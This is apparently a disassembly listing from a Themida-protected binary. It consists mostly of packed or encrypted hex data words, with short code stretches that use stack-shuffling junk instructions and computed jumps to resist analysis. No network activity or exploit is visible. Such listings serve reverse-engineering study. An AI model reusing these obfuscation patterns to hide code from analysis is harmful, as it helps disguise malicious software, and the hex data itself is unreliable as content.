		dd 25A3D842h, 73DE0B9Dh, 0C00E88BCh, 0EF734F4Dh, 0FD45F59Ah
		dd 0B6C2D421h, 29477038h, 0BED10D79h, 0D421FD90h, 86B4DB97h
		dd 9DD421FDh, 6BB9F16Fh, 6A0F6F9h, 9E3ECBC4h, 8A723CD8h
		dd 32385B1h, 51970000h,	0B9AEF85Eh, 8746E0B6h, 0E160C288h
		dd 0CA7EA8EEh, 0EF148FC5h, 4F050A3Eh, 306669D5h, 147A75F6h
		dd 0F95F5092h, 1ECC43BFh, 25C97E59h, 0F653C70h,	0F265D5DAh
		dd 0CF968C44h, 50FDB5C3h, 0F3888h, 65D543FDh, 0AEBFB8F2h
		dd 5101BFD5h, 57588FE5h, 4E418123h, 0A5AA9E08h,	594C8158h
		dd 0EE58C97Eh, 9BBA10E1h, 0F14A70AFh, 2B445h, 0CDC20000h
		dd 29261D87h, 0B04C163h, 6966E345h, 4E418123h, 47769F08h
		dd 5CC68C83h, 7FA9EFE0h, 1B8DC3CCh, 26702629h, 579545CAh
		dd 8192C97Eh, 386CB483h, 0C08BC748h, 2450D5AEh,	9C4FA5D9h
		dd 86B89F93h, 0E8C97E59h, 4E967778h, 11C1569Bh,	16C97E5Ah
		dd 94916C9Ah, 286143C4h, 4D716FF8h, 509D5D8h, 1D2h, 0DD0F65ABh
		dd 0DA045ED2h, 72ECC8D5h, 8C6A98BFh, 4BF9CF96h,	0FEDA77DDh
		dd 9659FEAAh, 4BD5A7B2h, 0B569E03Dh, 0C98567h, 1D779790h
		dd 0C6442C23h, 9DCCEFEh, 4BB0h,	6CB45800h, 83A4838h, 8CA452C5h
		dd 15A3CF96h, 56DA06E7h, 0A9D0FE2Ah, 0ADB1B220h, 3A31161Ah
		dd 6CD5A7A2h, 0CFDED116h, 2BE1911h, 61AA5CFBh, 18C4C985h
		dd 0BDAEF617h, 287C6BB2h, 0C4543D1Fh, 0C4695D43h, 0D12909DCh
		dd 0F7000000h, 364C8143h, 67973C33h, 0FCCF968Ch, 0F1CBD240h
		dd 55AF7E71h, 5EB4E4EBh, 0DE8FE3ECh, 54B4486h, 30FD6F85h
		dd 968CEF1Fh, 4AF874CFh, 42E58DB3h, 0CF96916Eh,	0C758881Ah
		dd 4F0CBC1Fh, 0F9E0C5Dh, 0D90B59D1h, 6DD83332h,	37A59B62h
		dd 193E6AD6h, 0CF960FE9h, 0FE54C27Eh, 1DC57553h, 78B4E412h
		dd 0EC313E2Ah, 7D1B3C74h, 0EAD5A9BFh, 5090E25Eh, 0A0B7E35Fh
		dd 0C982BA72h, 0C92F43F1h, 15E4EB5Fh, 8F5B85B3h, 3E70E647h
		dd 0FA000001h, 9B0D434Ch, 0BBEDA3ACh, 55CF858Ah, 7BADE3ECh
		dd 198AC0CFh, 121DC5F4h, 757AEA3Ch, 555A851Fh, 0B4BBA5FFh
		dd 332454DEh, 0C97E5703h, 43111300h, 60C28887h,	1FB9E9E6h
		dd 697B7580h, 0C0001281h, 0CB45ABCFh, 0F8262965h, 0FCF968Ch
		dd 0F96BB9F1h, 13CD17F6h, 0E29330DEh, 1EA35DE8h, 960849F9h
		dd 34A2DECFh, 5490E25Eh, 9A9E425Bh, 550551BFh, 0A7574EC2h
		dd 0AF9B29D5h, 0C32EDC73h, 8640C984h, 0CFCC7489h, 518DF9B1h
		dd 643007B7h, 0BBFFE8CCh, 0A0F6F969h, 1817D220h, 70D75B85h
		dd 0C984B2BEh, 53393630h, 221E11D1h, 0B2B161F6h, 3AB6C984h
		dd 86B3A776h, 0D7000000h, 0B246F49Bh, 0AFDDC984h, 6CB4B1CBh
		dd 87C74838h, 5CD5AEC0h, 4587DD20h, 0A0A2044Ah,	0A9FB5EAFh
		dd 0A6EB160Bh, 559751D2h, 5894F45Ah, 70C0737h, 88E01CA8h
		dd 6E7E85Ah, 51C60B3Eh,	0A8070BA1h, 7E1D12D3h, 734954C2h
		dd 0DA22FBF4h, 509D606Fh, 0A4D5F770h, 6D9DB2EEh, 0FAA8070Bh
		dd 73F42A4Eh, 0E1608BB5h, 57211FEEh, 246A9897h,	939C4EA4h
		dd 569B459Fh, 70C11C1h,	6C9A16A8h, 3A591h, 86F70000h, 8A854306h
		dd 303F2973h, 5B5497EDh, 0C5CA7A42h, 6B64DC38h,	919E4A92h
		dd 3E31300Ch, 0A7A895EFh, 0C6C97E46h, 89523727h, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 241C895Ch, 516868h, 240C8900h
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h, 61833C7h
		dd 83240C8Bh, 8B5404C4h, 0C481241Ch, 4,	8B850h,	472D0000h
		dd 1494B75h, 754705D8h,	889494Bh, 2434FF58h, 4C4835Bh
		dd 592434FFh, 0E904C483h, 0FFF94573h, 1CB8D0FEh, 3061838h
		dd 68E0FFC5h, 7F3481C2h, 2B1BDA0Eh, 6B2AF87Dh, 0E80E7DB1h
		dd 6, 0B7C0C10Ch, 0F860241Ch, 0B70F5A61h, 5C281F1h, 66000059h
		dd 10BFF18Bh, 0F000016h, 78Ch, 9FBE5200h, 5B3CE214h, 0BB66028Bh
		dd 0E881EC82h, 46D5A1A7h, 11E857h, 17A40000h, 0CCEB5D0Fh
		dd 50A84574h, 0B8EA601Bh, 50795E35h, 815B595Bh,	8955BF0h
		dd 0D981666Ah, 0E88166BAh, 3E35ACC6h, 7E8B4CB9h, 860F5033h
		dd 3, 8FF7B70Fh, 0E7D2B902h, 0EA8360E2h, 83CF8B04h, 850F01EFh
		dd 36h,	18830Fh, 13E90000h, 0F8000000h,	0B5BDB240h, 0F3413013h
		dd 41BA7177h, 81EFBD5h,	22E91C05h, 53000000h, 0C2A27EA8h
		dd 0D17EC9F1h, 46A8EB59h, 58A26CEFh, 0BE662A16h, 65E9AB8Eh
		dd 81FFFFFFh, 127FD9DBh, 678D8DD0h, 6A06183Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 7763C356h, 3AE1C61h,	840FDBF9h, 6, 3021BD8Bh, 8D890611h
		dd 611285Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	45C35141h, 0BD6BCAF1h, 0F45B474h, 85C7DBBFh, 6112DD1h
		dd 7484h, 0E58D8960h, 0F061106h, 0B8Eh,	5E800h,	0C2FA0000h
		dd 5E19B0D9h, 4D958B61h, 0C706111Ch, 11270985h,	6, 0C6816600h
		dd 0B5FF05F1h, 6110489h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 3CC35646h, 3E6C0B1Eh,	3E7C8A6h, 0A995FFC0h
		dd 6A06111Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 6301C355h, 0BA66A09Fh,	6ABB51h
		dd 5C595FFh, 0C08B0611h, 48410BEBh, 0A9A324E9h,	6159F744h
		dd 12E8AEh, 67240000h, 0B134B14Eh, 717BDC22h, 0D84ACAF6h
		dd 9ABD49E1h, 58F7BF0Fh, 21A5BD2Bh, 0C0810611h,	7153h
		dd 13E9h, 80489200h, 65C51CDh, 0C127CC0Ch, 33B55D49h, 55846EFCh
		dd 0B9h, 0DE800h, 6AA50000h, 0AAD96CBCh, 4DD75CD0h, 60CC381Dh
		dd 0DE179DBBh, 0F18B665Ch, 148B5E61h, 819D8B08h, 81061126h
		dd 4C90ADEAh, 0EA81FC4Ah, 627ED9F9h, 0FE9h, 1DC73600h
		dd 34EB65BAh, 0AF9D83B3h, 0E9DBF164h, 59DDC281h, 81660D0Eh
		dd 89ABE2D6h, 0FE80814h, 0A1000000h, 0FCC62632h, 0DFAB1533h
		dd 71FDA791h, 35F8BA0h,	110F959Dh, 3E98306h, 2E0DB533h
		dd 8B490611h, 98F981DAh, 0FFFFF8Fh, 1285h, 11BD8900h, 0E906111Eh
		dd 1Dh,	417C7D52h, 0E9115987h, 0FFFFFF7Eh, 0C697BE7Eh
		dd 7C51B13h, 78920EAFh,	0ECBE05B2h, 2AE94Dh, 15950000h
		dd 718Bh, 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BDD06
; ---------------------------------------------------------------------------
		db 0DCh, 66h, 69h
		dd 4D428123h, 0AFA09D07h, 858ABFE9h, 0E2ED55CFh, 23D27BACh
		dd 0C0622827h, 0E3450B04h, 0FF296F60h, 8A0C424Dh, 5231E176h
		dd 5D36C97Eh, 8E81432Fh, 41F166D2h, 0C6CF968Ch,	65939C4Eh
		dd 0CC265C0Dh, 50801D12h, 515E8AD8h, 0E7538FFBh, 968CC270h
		dd 9C3341CFh, 0CF968C6Eh, 332D47F5h, 3C2E743Ch,	78B4EA33h
		dd 968D27D7h, 0F6803CCFh, 0E83A7E71h, 50AC717Eh, 56019C93h
		dd 458741C2h, 8C578788h, 50ECCF96h, 8CBF6FE0h, 2844CF96h
		dd 9152D4BAh, 0E176A29Eh, 0CF968D31h, 27D77836h, 3CCF968Dh
		dd 0F81E1280h, 0C6B2BDAEh, 0C2CD788Ah, 608E053Bh, 0B4CF968Ch
		dd 968C73A3h, 4744F0CFh, 6AA84129h, 8CE9193Eh, 527ECF96h
		dd 5CA350B8h, 19118F88h, 24141BCBh, 93B767E8h, 0D44CCF95h
		dd 0A69A636Ch, 0E1EE5E28h, 9D4C241Ch, 75888747h, 16D73C2Fh
		dd 2E5C8419h, 0FD065ADFh, 45DEA2DFh, 94F4083h, 5BA2AD9Fh
		dd 95934BFCh, 0D255ABCFh, 0CD16F8CCh, 6DB60Fh, 43460000h
		dd 40D28E81h, 0F1FE6F84h, 0F286BA43h, 8CEC1C3Bh, 3608CF96h
		dd 0B2B7CD2Dh, 0B8F060BDh, 0CDEF8AB2h, 1C40Fh, 43940000h
		dd 2A728B84h, 2C46323Dh, 0A27B3F30h, 1DE0EF5Ah,	0A3A6FCAAh
		dd 9192C4ACh, 0E9242371h, 968CB866h, 83314FCFh,	658EB5EFh
		dd 0E44F2FDh, 0F5A5AA94h, 8C6896B9h, 83FFCF96h,	968C5E8Ch
		dd 0D957E5CFh, 43DD2F51h, 2F758887h, 5D7B3738h,	0CF5F50CCh
		dd 0E5B4FCBDh, 5DA0AF9Fh, 3ECFC007h, 32101375h,	549295F3h
		dd 5DADE3ECh, 0ADC06EE1h, 2947CF95h, 2E212341h,	575885DFh
		dd 44DF51B6h, 7ECA3AA4h, 0B193FAE1h, 0AB5B73F9h, 91370FCDh
		dd 0C5000000h, 75888743h, 41313E2Fh, 743C3333h,	0E57E32A5h
		dd 62282723h, 0FE0F00C0h, 0FCACA3A6h, 13C35480h, 10CF968Dh
		dd 8CBF6FE4h, 2844CF96h, 3C6CA940h, 35CDCB2Bh, 0C8C70264h
		dd 830D0B35h, 97B8E826h, 0CF967467h, 222840FCh,	0FCDF50Ah
		dd 6544h, 87431400h, 41FFF06Ch,	4F408311h, 6E020D35h, 0F5FA65BFh
		dd 1A15CC28h, 808FB983h, 57D0307Dh, 4A86FC75h, 968D15C5h
		dd 20CE41CFh, 27CF968Dh, 3A7E8A89h, 718363E4h, 69BBFFF0h
		dd 2EA0F6F9h, 728B8443h, 968D24D7h, 9B944CCFh, 0E50E3A02h
		dd 3AC3717Eh, 4C6EF98Fh, 7F61E234h, 0FCDEF47h, 10Bh, 8243D100h
		dd 3A24708Dh, 156BE835h, 6669D412h, 0F3A70130h,	73161987h
		dd 20E03B95h, 501B3C48h, 46D5A717h, 2D5050Ah, 2652C985h
		dd 36D76552h, 1D737CEEh, 0B756598Bh, 85026090h,	81B4DC9h
		dd 3D131CCEh, 539279EBh, 619F415Ch, 0C89F9731h,	0B7BB44CCh
		dd 906D62DDh, 0CB11C8A0h, 0ADF71619h, 1B61BCB3h, 0C06EE12Ch
		dd 47C9855Fh, 7762BB29h, 0D2942621h, 0C44D935h,	86FC39B7h
		dd 25F8F76Ch, 2621773Bh, 236966E0h, 0DCD16559h,	1442D09h
		dd 0B4F30000h, 0C748386Ch, 0D5A7ACACh, 5F5090E2h, 1040FCDBh
		dd 13FA6F6h, 0B35C8C7h,	95D0A60Dh, 0BCD6CC9Dh, 0FE191B84h
		dd 7BF3D092h, 0E89030CDh, 7C90F3DCh, 0FF254DFBh, 9A0C424Dh
		dd 7E46A7A8h, 713AC3CCh, 18CA0C17h, 73F4117h, 4B09DC72h
		dd 52h,	3F6BB411h, 40FD1743h, 0B6042B4Fh, 8D4F968Ch, 36A4AB9Bh
		dd 8DC270D7h, 0FD234F96h, 395E8A6Ah, 4F968E09h,	8E1CCA4Dh
		dd 9D2B4F96h, 32E42FEh,	4EBAF6A2h, 968E19C9h, 0F4922E4Fh
		dd 762268C9h, 81FDB5A0h, 96FA408Eh, 0A3E907CFh,	0A1EFh
		dd 6CB4BD00h, 50F35BA8h, 0DF4D2B5Eh, 7BA3EC63h,	1CA8D5A7h
		dd 0AF5FF02Ch, 0B5C9857Bh, 0DBC59C96h, 0B5C3C054h, 16D02CFDh
		dd 0D786B4DBh, 6F9DC984h, 0B3212E15h, 96994BDDh, 0D91DD077h
		dd 0A70C984h, 0D789B9DEh, 7EEBC984h, 97B4AC71h,	0B24B44FDh
		dd 0C618108Eh, 9633DD3Dh, 8CEDC5B5h, 0DE085ADEh, 0F2DE7BD1h
		dd 2165EAA6h, 95CF9D0Bh, 7083659h, 0E11FCF8Dh, 0B922E89h
		dd 4946FD17h, 4E418321h, 65FE82BFh, 68D88C54h, 22B52A1Ah
		dd 842D0935h, 4CB8F06Eh, 49468210h, 0A43C7E21h,	9523D5A5h
		dd 6CB44DBFh, 8CA555FAh, 15D7CF96h, 0BE5D831Ah,	68A49402h
		dd 8AAB716Eh, 0FEB20FC9h, 0AE481559h, 6FBECAD5h, 6E242B15h
		dd 55050A34h, 6D050A3Fh, 25BD9DBCh, 0FEB24111h,	0AEA1A365h
		dd 0DB0A98E8h, 6317C9D4h, 0F50807C1h, 0C5B5BAAFh, 0C3B7B8AFh
		dd 0D053352Ah, 18B39630h, 48599338h, 4F408220h,	0FE6BB909h
		dd 0F96BB9F1h, 0D2317F6h, 49000000h, 4FFA0886h,	6B4BBA4h
		dd 0DB3179E7h, 738A8543h, 0ED303F29h, 425B5497h, 38C5CA7Ah
		dd 926B64DCh, 0C919E4Ah, 0EF3E3130h, 46A7A895h,	27C6C97Eh
		dd 0E3895337h, 4C381h, 0EB810000h, 4, 5C241C87h, 53240C89h
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch
; ---------------------------------------------------------------------------
		add	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 37033FE7h
		shr	ebx, 4
		xor	ebx, 5680861h
		push	ecx
		mov	ecx, ebx
		mov	eax, ecx
		pop	ecx
		pop	ebx
		push	5
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		pop	dword ptr [esi+8]
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		dd 0BD07737Fh, 0A9BFC778h, 0BF914758h
; ---------------------------------------------------------------------------
		mov	bl, 0BCh


loc_5BDD06:				; CODE XREF: Themida_:005BD760j
		mov	eax, 618409Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 29h
		dd 16DD57Dh, 13C6815h, 0A9126C9Dh, 0FA679D35h, 0A161DB6Eh
		dd 0F2030846h, 0FC333E8Eh, 0BF61EB33h, 0B438B412h, 264A13A2h
		dd 202C62F3h, 0E405BDCBh, 3247097Dh, 0AB1F5F57h, 22511C24h
		dd 5E385078h, 0C8580501h, 0F7D0E5Bh, 0E401349Eh, 30E1BE2h
		dd 0EF544266h, 437A148Dh, 616F0BE5h, 70664643h,	0D633B9CCh
		dd 882BC45Fh, 9C37A873h, 363C884Dh, 111303BBh, 0E87F400Ah
		dd 5, 914DA328h, 0D38B66E5h, 0C081F558h, 6BE2h,	4860Fh
		dd 0BF660000h, 0F63377BBh, 590634FFh, 76EF8152h, 5A491382h
		dd 0F4CE981h, 66561F32h, 815BD38Bh, 0CD42DFF1h,	81D98A71h
		dd 3AFE88C1h, 51D68B64h, 2FE4DB81h, 48F7954h, 0D250BA30h
		dd 0EE81333Fh, 3BB4CC5Bh, 0C681FA8Bh, 3BB4CC57h, 81D6BF0Fh
		dd 0FF94A4FEh, 0AD850FFFh, 0E8FFFFFFh, 13h, 16BC149Bh
		dd 4AF3D46h, 9E815A0Ah,	97818584h, 8A3414B3h, 0EE95BD9h
		dd 0CC000000h, 29FC85h,	2 dup(0)
		dd 517E900h, 3D2B0000h,	1DCA5C32h, 7BEA3C12h, 5D841E74h
		dd 0BEAAFC52h, 0A348DBB1h, 93F9F672h, 74DAD511h, 583E3132h
		dd 3D131CCEh, 629087FBh, 0E1C97E4Ah, 814370B4h,	3D257F8Eh
		dd 18CA5C32h, 0BCAEF617h, 0D5126AB3h, 8094C3DAh, 88874187h
		dd 0E8E760C2h, 0C8C700A2h, 5FF02C98h, 0CF968CAFh, 639338B4h
		dd 0E0CF968Ch, 370DDC54h, 3A483837h, 757AE50Eh,	763A26C7h
		dd 5DE6BAA7h, 0F1A7A89Bh, 0EC5EB5B7h, 0B1A875E3h, 0CF968C7Eh
		dd 3F508CF8h, 0CF968D0Fh, 5E909814h, 0EFE3DBC5h, 50AF0FCDh
		dd 73000000h, 1F3A9907h, 0AA6981B1h, 9782F525h,	212272CFh
		dd 82F8B02Eh, 7F8E8143h, 968D28D8h, 0F17244CFh,	0CDEFD7EFh
		dd 19B0Fh, 65210000h, 0C8D5DA0Fh, 5C26008h, 0BAA9F30Ah
		dd 0D50C68B5h, 0F8050A3Eh, 8433CA78h, 0B2B177F0h, 934DD7BDh
		dd 4344B69Ch, 15C54A87h, 12CF968Dh, 4F9568E6h, 0BD769798h
		dd 2A1ED86Bh, 0E96B7525h, 3F8502A7h, 0D12C2322h, 57B9F16Fh
		dd 2C1C13CDh, 811C13D6h, 1C02DB5Fh, 61A1BAF2h, 8E9858F3h
		dd 8848555Ah, 8C8342E0h, 83841471h, 0CDA7B99Dh,	0C7F4120Fh
		dd 4112148Fh, 61EE6109h, 0BE000000h, 75888743h,	0EC313E2Fh
		dd 5A9CA7FDh, 79ABE1EEh, 0DD27C6C9h, 0E53F6B64h, 0A8A8757Ah
		dd 13D329C0h, 8BBB811Ch, 0A4C47984h, 58C881A3h,	0EDFDD1CFh
		dd 40D50FCDh, 7B000000h, 0F06C8743h, 0B7B8A5FFh, 10BEE439h
		dd 1F64D577h, 0FE244CF1h, 0BEBB424Dh, 503FC6C0h, 8F748C2Ch
		dd 74B2B5EBh, 338DC3CCh, 728B8443h, 968D24D7h, 0FB0C42CFh
		dd 0CDEF21E5h, 1910Fh, 433F0000h, 0B9D11D82h, 58A5AA9Eh
		dd 1427FA98h, 807C254h,	0A520AE9Ah, 72063645h, 0A0FCADC5h
		dd 0EF54A9A6h, 9D488E99h, 944CA692h, 5ADE029Bh,	0EFBB0534h
		dd 22D047B3h, 21CF967Bh, 0EC639F93h, 0D5A785A3h, 0BB811CA8h
		dd 56D08689h, 0C5CA7F94h, 738A3838h, 132D810Fh,	4E640D8Eh
		dd 87D3052Ah, 0AAFEC985h, 0E2ED5F99h, 0C7C87AACh, 636CDE26h
		dd 6CF7D19Ah, 0E1B7B8AAh, 0DCEAA79Fh, 159EB09h,	65BF0000h
		dd 2917F6F9h, 9428D679h, 813FC985h, 6CB493E9h, 0F21C4838h
		dd 0AC26E5F5h, 0A385F5Dh, 19CF95BFh, 0D47B87EBh, 0D5A6DEBBh
		dd 0AFA0A1F3h, 9A636CD5h, 57E5D2A6h, 7B1C48B6h,	0C984BBCBh
		dd 0DB7C2C58h, 0C984BC2Bh, 0BEE48C38h, 5BCD838Ch, 3D07E6E9h
		dd 0B25C0C03h, 0E0279B74h, 46171BBCh, 477791EDh, 0D80A42Fh
		dd 9691C7ABh, 0A9999650h, 8CE4EB5Bh, 0ADA21E6Ah, 0C9855E7Dh
		dd 303A7E8Ah, 9DCC10Ch,	4D42h, 0F65EA00h, 0D1CDD0DFh, 968C90BEh
		dd 0EB1997CFh, 1D49AA87h, 8CDC2A2Dh, 5DEB4F96h,	8D598940h
		dd 5C8C4F96h, 79AD2BCBh, 0EC5C2209h, 654EEB8Fh,	0CE4131h
		dd 94CF96AFh, 0B2C6C97Eh, 0E9A1F705h, 8Fh, 63A013BDh, 5394E81Bh
		dd 6CB4ADDFh, 7CC74838h, 41D5A797h, 5092EA33h, 5491E35Fh
		dd 98788BFh, 0BBA5FF61h, 0BEAEC4B4h, 2920F9B1h,	0C98583F4h
		dd 38FE095Fh, 0FF4B010Eh, 825E8C83h, 0B3E5C985h, 0F16FBEB1h
		dd 0A6022F43h, 90333762h, 9D435A55h, 51CB1AFFh,	83E07723h
		dd 60CF9CD3h, 0CED10116h, 0DA56CF8Ch, 0D90B51ACh, 760A37D6h
		dd 44F4DCEDh, 0CA769798h, 0C6BEC5Ch, 19D5A511h,	0BB25A5EBh
		dd 7A0FBF5Ch, 0CCD3F1DFh, 9D3A6F93h, 65C33971h,	0CCD1DE0Fh
		dd 3996B284h, 3B11A8Ah,	20FDF271h, 0F3DD7830h, 764EBA7h
		dd 4FD5AEC3h, 3ECE7C13h, 2755C97Eh, 98C86453h, 5ED2DD0Ah
		dd 608BB58Fh, 0D4DB0EE5h, 49917C9h, 39CE3EDCh, 0A546B69Dh
		dd 3E297B37h, 8D177931h, 96EC5C53h, 18D15956h, 62E875C1h
		dd 0D1DE0FF9h, 9E75F0CCh, 0E55BA2ADh, 8BDD9677h, 828DBE78h
		dd 95336F14h, 9B849D17h, 0B6E8801Bh, 0F6F96BADh, 19C94EBAh
		dd 2FA59A11h, 3D49F132h, 6391BE4Eh, 8DBFE90Fh, 1FEEE166h
		dd 126AB321h, 18C5D8D7h, 0F39FF08h, 6ED84A00h, 0AAE9C61h
		dd 0FC000000h, 49FA0886h, 0F1B9A746h, 8A85439Bh, 303F2973h
		dd 5B5497EDh, 0C5CA7A42h, 6B64DC38h, 919E4A92h,	3E31300Ch
		dd 0A7A895EFh, 0C6C97E46h, 7B683727h, 89000022h, 8953241Ch
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 2434895Ch, 31A168h
		dd 242C8900h, 1CA06851h, 0C8B003Dh, 4C48124h, 0F7000000h
		dd 38E181D1h, 816C3776h, 1A2070F1h, 59CE896Ah, 3FBC68h
		dd 24248900h, 4240481h,	5D000000h, 24348156h, 37FD4FDBh
		dd 5108458Fh, 8B9h, 81E90100h, 0FD4FDB31h, 2C8B5937h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 5624348Bh,	0C681E689h
		dd 4, 4C681h, 34870000h, 88E95C24h, 81FFF936h, 91F9902h
		dd 0BEEC01FAh, 46D4B875h, 0C5030618h, 0D75CE0FFh, 804D1011h
		dd 444413ACh, 4ECB735Bh, 82387BB0h, 9B7A0932h, 7C1B6185h
		dd 0C08B2666h, 25F1BD83h, 75000611h, 3DBD8309h,	61124h
		dd 53501974h, 21B8C08Bh, 89000004h, 111D4D85h, 299D8D06h
		dd 0FF0613B2h, 83585BD3h, 11243DBDh, 17740006h,	21B85350h
		dd 89000004h, 111D4D85h, 189D8D06h, 0FF0613AFh,	8B585BD3h
		dd 999D8BC0h, 0C6061114h, 1106D185h, 52685606h,	0FF9CA8B8h
		dd 110FD1B5h, 7F858D06h, 0FF061474h, 68046AD0h,	1000h
		dd 3E1B5FFh, 6A0611h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h
		dd 1171978Dh, 8BE1FF06h, 3C38BC8h, 0F8053C40h, 8B000000h
		dd 0D3030C50h, 2025BD83h, 0F000611h, 0E84h, 259D8B00h
		dd 8B061120h, 11212185h, 51038906h, 0AD858D52h,	0FF061142h
		dd 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 1106D185h,	39685606h
		dd 0FFD41F6Dh, 110FD1B5h, 7F858D06h, 0FF061474h, 800068D0h
		dd 6A0000h, 8BD0FF52h, 0F1BD83C0h, 61125h, 0BD830975h
		dd 611243Dh, 50197400h,	0B8C08B53h, 421h, 0A498589h, 9D8D0611h
		dd 613B290h, 585BD3FFh,	243DBD83h, 74000611h, 0B8535017h
		dd 421h, 0A498589h, 9D8D0611h, 613AF31h, 585BD3FFh, 9D8DC08Bh
		dd 6112025h, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h
		dd 0EE80000h, 0C4000000h, 3949E91h, 5D3FF9DFh, 0ECDDBF1Bh
		dd 0EE85E7Ah, 9D000000h, 6BDD0CCDh, 560EAB3Eh, 5A68503Fh
		dd 0CB8B6667h, 20C6815Bh, 8100006Fh, 0F2115BEFh, 0BFC03374h
		dd 357A4CF4h, 663034FFh, 0F5ADE8Bh, 28Fh, 813FB500h, 0C0B47BC2h
		dd 22B35025h, 0BFF28159h, 8122A575h, 96EBFDC2h,	0C3816660h
		dd 0F52AA78h, 48FDBBFh,	0DABF0F06h, 83D9BF0Fh, 0EDBF04E8h
		dd 810EC625h, 0FF9174F8h, 0B5850FFFh, 0E9FFFFFFh, 0Fh
		dd 5B9F4491h, 0FF62D5DEh, 0F2722432h, 0E9C803AFh, 10h
		dd 6DBA647Ah, 3	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BEB2D
; ---------------------------------------------------------------------------
		db 0FCh, 46h, 49h
		dd 0ADA2A103h, 8F80BDE7h, 0E5EA5FC9h, 0C2CD75AFh, 0C3F21B8Ch
		dd 0E0420807h, 83256B64h, 9F094F40h, 0AAECA2ADh, 4411C156h
		dd 7D16C97Eh, 7B74F301h, 7AE4BEA2h, 0C0A8A875h,	8E81438Ah
		dd 323D257Fh, 8718CA5Ch, 9285F604h, 0CF966564h,	27B755E3h
		dd 876694E5h, 718C83BDh, 0EA333C2Bh, 0C05783FFh, 0CF960712h
		dd 71DCD42h, 9E2ACF96h,	79EDD3F1h, 0D66F650Eh, 859ED058h
		dd 0C88E8143h, 0ACE2ED5Eh, 0BF6FE05Ch, 44CF95ABh, 21224028h
		dd 5985DF2Eh, 0E8BAB5B2h, 38C5737Ch, 906D62DCh,	64009F44h
		dd 0F44F4713h, 12CFDE4Ch, 5AD7F50Eh, 48FB3DC6h,	0E669A4A3h
		dd 0CF95F838h, 0FA03B1CFh, 2082C846h, 75D42926h, 0CF95F8C2h
		dd 0B5B2C03Ch, 707FE8BAh, 0A9FFB3ADh, 7BBC809Eh, 55F20FCDh
		dd 9A000000h, 7F8E8143h, 968D28D8h, 0BE5844CFh,	360F425Ch
		dd 8917353Bh, 2C92227Ah, 0A4BFF1B9h, 0CD7182BAh, 0ACC0Fh
		dd 74920000h, 80FC1D3Fh, 5773BEBh, 728B8443h, 0EB323D2Ah
		dd 79E65DB7h, 0F82CFBFFh, 0BDF563FEh, 10EDE267h, 9650D3A9h
		dd 0AEF85E51h, 63DDB3BCh, 75888743h, 62F5382Fh,	0CF968CB4h
		dd 532E95B3h, 835E484Dh, 0AD06E715h, 0E01C351h,	0F72941FFh
		dd 0B1BEAA6Ch, 909F49DBh, 3936370Dh, 30C3B49h, 0FF3FFC05h
		dd 46C063Fh, 9ECA3055h,	961549F9h, 0F6A2DECFh, 9615B161h
		dd 763AB6CFh, 15392720h, 7D0FCD9Ah, 9Eh, 88874303h, 313E2F75h
		dd 39363341h, 5131B871h, 640C03C3h, 73F73132h, 7368F8ECh
		dd 0CD7B1910h, 2A251D87h, 575889D3h, 44DF51B6h,	37E768A4h
		dd 0CCCF9653h, 69E7E854h, 0D4133B01h, 807F0FCDh, 3000000h
		dd 406F6B85h, 0F1B9F552h, 8887439Bh, 333C2F75h,	5D5292EAh
		dd 0C2CD7440h, 9192F63Bh, 32403EB3h, 247A3E31h,	0B07DE523h
		dd 7A597116h, 43C827A3h, 0CF964393h, 81B1A690h,	86CF9643h
		dd 124EFC6Ah, 0BFCB0EF4h, 95D06A98h, 4D4BF9CFh,	8097EF66h
		dd 0CF95ED52h, 7D35A3D1h, 8443A11Bh, 9A45DF8Bh,	0DCC9D95h
		dd 0CF968CDAh, 0A141C214h, 0DA35E27h, 0A9C1D78Ah, 0CD269BA3h
		dd 1D70Fh, 43650000h, 24708D82h, 6BE8353Ah, 0B37EE53Fh
		dd 968C6E9Ch, 0C947F5CFh, 32F40FA1h, 364C3C33h,	0CB4C3C33h
		dd 0CF968D1Bh, 72949C28h, 9D49F9C7h, 0A7D50B92h, 981B64EBh
		dd 9420D5A7h, 3E313309h, 131CCE58h, 819D4F8Ah, 5808C985h
		dd 0D0DF09CFh, 0D53E287Ah, 419B626Dh, 0EF1D8B84h, 0B04C61Eh
		dd 0B2BDAAF2h, 0DBD4116Bh, 8BBBDCC2h, 98C98581h, 0C45F896Ch
		dd 3EC91FE6h, 11414EF8h, 959A4FA5h, 9343C808h, 90C98581h
		dd 0DCD31264h, 0F51B1FC1h, 0DCE4536Bh, 4EFE1409h, 0EC84BC41h
		dd 1A09Bh, 0F652100h, 0F25FD3DCh, 1164216h, 0D5A7AC66h
		dd 2AD87FCBh, 39C9856Eh, 454AF98Bh, 282F9BD7h, 0C9856DFAh
		dd 0E6B7FB09h, 1BCB4CB8h, 28C9856Eh, 9C4E949Ch,	374DBD93h
		dd 6669D833h, 0D22B5987h, 3BF1606Eh, 2B5C700Ah,	0C8231D47h
		dd 0C68A131Ch, 7A4995E2h, 8533A10Eh, 48F699D5h,	0DFC9848Dh
